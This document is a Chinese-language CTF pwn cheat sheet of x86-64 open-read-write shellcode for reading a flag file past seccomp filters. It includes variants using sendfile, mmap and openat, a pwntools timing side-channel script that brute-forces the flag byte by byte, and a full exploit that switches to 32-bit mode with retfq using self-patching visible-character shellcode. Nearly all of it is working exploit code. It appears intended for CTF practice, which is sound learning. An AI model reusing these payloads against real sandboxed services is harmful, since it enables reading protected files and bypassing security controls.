两种基本orw的shellcode
第一种
; open("flag", 0)
push 0x67616c66
push 0x2
pop rax
mov rdi,rsp
xor rsi,rsi
syscall
; read(fd, rsp, 0x50)
mov rdi,rax
xor rax,rax
mov rsi,rsp
push 0x50
pop rdx
syscall
; write(1, rsp, 0x50)
push 0x1
pop rax
push 0x1
pop rdi
mov rsi,rsp
push 0x50
pop rdx
syscall
第二种主要是用了sendfile系统调用
/* call open('rsp', 0, 'O_RDONLY') */
push 0x67616c66 /* push b'flag\x00' */
push 2
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall
/* call sendfile(1, 'rax', 0, 0x100) */
mov r10d, 0x100
mov rsi, rax
push 40 /* sendfile的系统调用号0x28 */
pop rax
push 1
pop rdi
cdq
syscall
ORW缺R
read(pread、readv、preadv、sendfile、mmap)
- 可以考虑sendfile
- pread64、readv、preadv、preadv2系统调用
- 考虑mmap函数:最常见的用途之一是将文件映射到内存中。这允许进程直接从内存中读取或写入文件,而无需调用标准的 I/O 函数(如 read 和 write)。通过这种方式,可以更高效地访问文件,特别是对于大文件和随机访问
'''
/* open("flag",0)*/
mov rax,0x67616c662f2e
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
mov rax,2
syscall
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
/*mmap(0x23330000,0x1000,1,1,rax,0)*/
mov rsi, 0x1000
mov r10,1
mov r9d, 0
mov r8d, eax
mov edx, 1 /*共享映射*/
mov edi, 0x2333000
mov rax, 9
syscall
/*write(1,0x2333000,0x100)*/
mov rdi, 1
mov rsi, 0x2333000
mov rdx, 0x100
mov rax, 1
syscall
'''
ORW缺W
write(pwrite64、writev)
- pwrite64 0x12 pwrite64 的原型是:ssize_t pwrite64(int fd, const void *buf, size_t count, off64_t offset);
- writev系统调用
- 进行逐位爆破获取flag(也称作测信道爆破)
- pwritev,pwritev2
from pwn import *
import time
context(arch = "amd64", os = "linux")#, log_level = "debug")
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') #彩色打印
def pwn():
global io
flag_addr = 0x405000
string = "{}0123456789-_abcdefghijklmnopqrstuvwxyz"#有需要的话加上大写字母
list = [ord(x) for x in string]
flag = ""
index = 0
while 1:
for i in range(39):
io = process(binary)
#io = remote("",)
loop_payload = '''
mov rsp, {}
mov rdx,0
mov dl,byte ptr [rsp+{}]
mov rcx,0
mov cl,{}
cmp dl,cl
jnz loop
mov rax, 0x3c
syscall
loop:
jmp loop
'''
# rsp-> flag_addr
#diff -> loop -> timeout
#same -> next_step -> exit(EOF)
#如果是相同字符,那么就会调用exit导致EOFERROR,但是如果是不同的就会一直jmp loop不会有EOFERROR
loop_payload = asm(loop_payload.format(flag_addr,index,list[i]))
try:
io.clean()
io.recv(timeout=0.1)
except EOFError as e:
flag += chr(list[i])
index = index + 1
io.close()
break
finally:
li("index:"+str(index))
li("strings: "+chr(list[i]))
li("flag: "+str(flag))
io.close()
ORW缺O
open(fopen、creat、openat、fopen64、open64、freopen)
- 尝试使用openat()函数,它的系统调用号是257,可以syscall调用也可以直接libc调用。int openat(int dirfd, const char *pathname, int flags, ...);只需要写openat(0, '/flag\x00')的形式即可
- retfq
主要思想就是通过调用32位的open来绕过,因为程序只是对64位的代码做限制,而通过写32位的shellcode能到达到open的目的,以32位的模式运行。通过retfq切换模式 -
核心指令retfq
先ret,再让cs=[rsp+0x8] -
细节阐述:
1.程序是怎么知道要以64位模式运行还是以32位模式运行的;寄存器中有一个cs寄存器,cs = 0x23代表32位模式,cs = 0x33代表64位模式,而cs寄存器就是通过上面提到的retfq汇编指令来修改
2.retfq有两步操作,ret以及set cs,所以执行retfq会跳转到rsp同时将cs设置为[rsp+0x8],我们只需要事先在ret位置写入32位的shellcode就可以执行了,但是这里有一点需要注意的是,retfq跳转过去的时候程序已经切换成了32位模式,所以地址解析也是以32位的规则来的,所以原先的rsp = 0x7ffe530d01b8会被解析成esp = 0x530d01b8,所以在跳转过去后要先平衡好esp的地址,不能直接执行push
3.shellcode是写到栈上面的,如果把32位的shellcode在栈上的话,因为64位的栈地址长度比32位的长,所以32位模式下是无法解析出64位的栈地址的,retfq时就会crash掉,所以这里需要先调用mmap申请出一段适合32位的地址来存32位shellcode,mmap(0x40404040,0x7e,7,34,0,0)
4.直接调用32位下的read,write把flag打印出来,但是发现是bad system call,无法调用,所以还得回到64位模式下调用,再调用一次retfq,在64位条件下进行read和write,需要先把open的返回值保存到别的寄存器,因为在retfq回64位模式的时候会影响到rax -
基本步骤:
1、用可见字符编写shellcode 调用mmap申请地址,调用read读入32位shellcode
2、同时构造用retfq切换到32位模式,跳转到32位shellcode 位置
3、按照32位规则调用fp = open("flag")
4、保存open函数返回的fp指针,再次调用retfq切换回64模式,跳转到64位shellcode位置
5、执行read,write打印flag -
exp
from pwn import *
context(log_level='debug')
p = process('./shellcode')
p.recvuntil("shellcode: ")
#一直用rbx存储mmap返回的地址
append_x86 = '''
push ebx
pop ebx
'''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
#len=0x31,相当于在这个shellcode_mmap后面加上一个\x0f\x05,执行syscall,注意从0开始,[rbx+0x31],[rbx+0x32]为syscall
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall rbx为mmap的返回的地址*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
#len=0x24,[rbx+0x57],[rbx+0x58]为syscall
shellcode_read = '''
/*read(0,0x40404040,0x70) rax=rbx,先xor 0x5d,再xor 0x5f*/
push 0x40404040 /*set rsi*/
pop rsi
push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40 /*set rdx*/
push 0x70
pop rdx
push rbx /*构造syscall*/
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx /*set rax=0*/
pop rax
xor al,0x70
'''
#len=0x27 0x52^0x72^0x68=0x48 byte 0x5a-0x47-0x48=0xcb 刚好让[rbx+0x80][rbx+0x81]为\x48\xcb,retfq的机械码
#这里不能直接用retfq,因为\xcb会通不过check检查
#这里最后面的push rdi, pop rax,push rax其实都没什么用,可以删掉,但是要注意重新调整[rax+...]里面的内容凑出retfq
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40 /*rax现在的值为mmap返回的地址但是最低一个字节为0x40*/
push 0x72 /*让[rbx+0x80],[rbx+0x81]变成retfq*/
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi /*凑代码长度,同时设置0x23,0x40404040的值,rax也等于0x40404040*/
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
#注意在64位下的retfq让rip=0x40404040
#esp先指向一个合理的可以被32位解析的地方,这里是0x40404040+0x100,ebx=flag的地址,ecx=0,eax=5(32位下open系统调用号)
#len=0x17
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
#注意使用了ecx存储了open函数的返回值,才有mov rdi,rcx
#rip=0x40404089,cs=0x33,进入64位模式,执行read函数和write函数
#len=0x2b push 0x33 push 0x40404089 retfq指令长度为0x9
#0x17+0x29+0x9=0x49,所以nop数量为0x29,rip=0x40404089接着执行read
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp /*rsi只要是个可写的地址就行,这里直接用rsp指向的位置最方便*/
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
#append指令是为了给syscall占位置,append的机械码 "\x52\x5a" 0x52^0x5d=0xf 0x5a^0x5f=0x5
shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
p.sendline(shellcode)
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
p.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)
p.interactive()